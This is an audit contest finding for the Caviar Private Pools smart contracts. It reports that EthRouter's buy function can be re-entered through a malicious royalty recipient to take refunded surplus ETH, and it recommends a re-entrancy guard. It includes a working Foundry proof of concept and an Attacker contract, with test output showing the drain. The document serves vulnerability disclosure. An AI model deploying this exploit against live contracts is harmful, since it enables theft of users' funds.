Caviar Private Pools - teawaterwire's results

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/EthRouter.sol#L123 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L281

Vulnerability details

Impact

When using the EthRouter to buy NFTs the user will get a refund of ETH if they happen to have spent less than estimated on the assets at the end of the transaction:

        // refund any surplus ETH to the caller
        if (address(this).balance > 0) {
            msg.sender.safeTransferETH(address(this).balance);
        }

Whether interacting with a public or private pool, if a royalty payment has to be made it will occur after the refund of "any excess ETH to the caller" which is the EthRouter in that case.

When that line is called:

recipient.safeTransferETH(royaltyFee)

The recipient can actually be a smart contract with a receive function that re-enters the buy function of the router to get that excess ETH.

Proof of Concept

in Buy.t.sol we modify the royalty test to change the royalty recipient and add excess ETH to the call to the Router:

    function test_PaysRoyaltiesToAttacker() public {
        // arrange
        Pair pair = caviar.create(address(milady), address(0), bytes32(0));
        deal(address(pair), 1.123e18);
        deal(address(pair), address(pair), 10e18);

        uint256[] memory tokenIds = new uint256[](1);
        milady.mint(address(pair), totalTokens);
        tokenIds[0] = totalTokens;

        uint256 inputAmount = pair.buyQuote(tokenIds.length * 1e18);

        uint256 royaltyFeeRate = 0.1e18; // 10%
        address royaltyRecipient = address(new Attacker(ethRouter)); // HERE
        milady.setRoyaltyInfo(royaltyFeeRate, royaltyRecipient);

        uint256 royaltyFee = inputAmount / 10 * royaltyFeeRate / 1e18 * 10;
        inputAmount += royaltyFee;
        maxInputAmount += inputAmount;

        buys.push(
            EthRouter.Buy({
                pool: payable(address(pair)),
                nft: address(milady),
                tokenIds: tokenIds,
                tokenWeights: new uint256[](0),
                proof: PrivatePool.MerkleMultiProof(new bytes32[](0), new bool[](0)),
                baseTokenAmount: inputAmount,
                isPublicPool: true
            })
        );

        // act
        ethRouter.buy{value: maxInputAmount + 1e18}(buys, 0, true); // AND HERE

        // assert
        assertEq(address(royaltyRecipient).balance, royaltyFee, "Should have paid royalties");
        assertGt(address(royaltyRecipient).balance, 0, "Should have paid royalties");
    }

The attacker contract only has the receive function:

contract Attacker   {

    EthRouter immutable router;

    constructor(EthRouter _router) {
        router = _router;
    }

    receive() external payable {
        router.buy(new EthRouter.Buy[](0), 0, false);
    }

}

Now running forge test --match-test test_PaysRoyalties --match-path test/EthRouter/Buy.t.sol -vv we get:

Logs:
  Error: Should have paid royalties
  Error: a == b not satisfied [uint]
        Left: 1012603815937149270
       Right: 12603815937149270

The royalty recipient balance has been increased by 1 ETH.

Tools Used

Forge

Recommended Mitigation Steps

Adding re-entrancy guards on the buy function would fix this issue